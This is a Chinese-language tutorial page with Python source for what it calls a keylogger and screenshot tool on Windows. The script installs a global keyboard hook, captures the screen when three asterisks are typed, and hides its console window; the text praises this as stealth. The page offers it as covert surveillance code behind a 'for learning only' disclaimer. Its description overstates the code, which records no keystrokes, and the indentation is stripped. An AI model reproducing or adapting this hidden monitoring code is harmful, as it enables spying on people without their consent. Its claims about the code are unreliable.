Python 键盘记录和截屏工具:实现键盘监听和截图功能
Python 键盘记录和截屏工具:实现键盘监听和截图功能
功能介绍
本程序使用 Python 第三方库 PyHook 和 PyWin32 实现键盘记录和截屏功能。程序监听用户的键盘输入,当连续输入三个'*' 时,会截取当前屏幕并保存为图片。此外,程序还实现了进程隐藏功能,确保程序运行时的隐蔽性。
代码实现
# -*- coding: UTF-8 -*-
##############################################################################
# 程序名:keylogger_screenshot.py
# 功能:利用Python第三方库PyHook和PyWin32实现键盘记录和截屏
# 说 明:运行平台Windows。它利用Windows的SetWindowsHookEx函数注册了一个自
# 定义的钩子函数,通过函数就能截获用户的按键消息,并在用户连续输入
# “*”时对屏幕进行截图,并以图片形式保存。
##############################################################################
import win32api
import win32gui
import win32ui
import win32con
import pyHook
import pythoncom
import win32process
import win32console
# 全局变量
count = 0 # 记录连续输入“*”的次数
hdesktop = win32gui.GetDesktopWindow() # 获得桌面窗口句柄
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) # 获得显示器尺寸
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
def get_current_process():
hwnd = win32gui.GetForegroundWindow() # 获得前台窗口句柄
pid = win32api.GetWindowThreadProcessId(hwnd) # 获得进程PID
process_name = win32process.GetModuleFileNameEx(
win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION | win32con.PROCESS_VM_READ, False, pid[1]), 0) # 获得进程名
print("[ PID: %s - %s ]" % (pid[1], process_name))
def screen_shot():
global count
desktop_dc = win32gui.GetWindowDC(hdesktop) # 创建设备描述表
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
mem_dc = img_dc.CreateCompatibleDC() # 创建基于内存的设备描述表
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height) # 创建位图对象
mem_dc.SelectObject(screenshot)
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) # 复制屏幕
# screenshot.SaveBitmapFile(mem_dc, 'C:/screen.bmp') # 将位图保存到文件
# 保存到文件
screenshot.SaveBitmapFile(mem_dc, 'C:/Users/20205/PycharmProjects/pythonProject/screen.bmp')
# 内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())
count = 0 # 重置计数器
def key_event(event):
global count
if event.Ascii == 42: # 检查是否输入“*”
count += 1
if count >= 3: # 连续输入3次“*”时截图
screen_shot()
else:
count = 0
return True # 返回到下一个钩子事件
def key_logger():
hooker = pyHook.HookManager() # 创建钩子函数管理器
hooker.KeyDown = key_event # 注册钩子按键事件的处理函数
hooker.HookKeyboard() # 创建键盘钩子
pythoncom.PumpMessages()
if __name__ == '__main__':
# 隐藏进程
win32gui.ShowWindow(win32console.GetConsoleWindow(), 0)
get_current_process()
key_logger()
使用说明
- 确保已安装 PyHook 和 PyWin32 库。
- 运行程序,程序会隐藏在后台运行。
- 在任何窗口中连续输入三个 '*',程序会截取当前屏幕并保存到指定路径。
注意事项
本程序仅供学习参考,请勿用于任何非法用途。
代码解析
- 键盘监听
- 使用
pyHook库创建键盘钩子,监听用户的键盘输入。 key_event()函数处理键盘事件,当连续输入三个 '*' 时调用screen_shot()函数进行截图。
- 使用
- 截图功能
- 使用
PyWin32库获取桌面窗口句柄和屏幕尺寸。 - 使用
win32ui.CreateBitmap()创建位图对象,使用mem_dc.BitBlt()复制屏幕内容到位图对象。 - 使用
screenshot.SaveBitmapFile()将位图保存到文件。
- 使用
- 进程隐藏
- 使用
win32gui.ShowWindow()函数隐藏程序窗口,使其在后台运行。
- 使用
总结
本程序通过简单的代码实现了键盘记录和截屏功能,并通过进程隐藏功能提高了程序的隐蔽性。程序的代码结构清晰,易于理解,可以作为学习 Python 编程和使用第三方库的参考。
相关链接
免责声明
本程序仅供学习参考,请勿用于任何非法用途。作者不对任何因使用本程序而导致的损失负责。
原文地址: https://www.cveoy.top/t/topic/nAOy 著作权归作者所有。请勿转载和采集!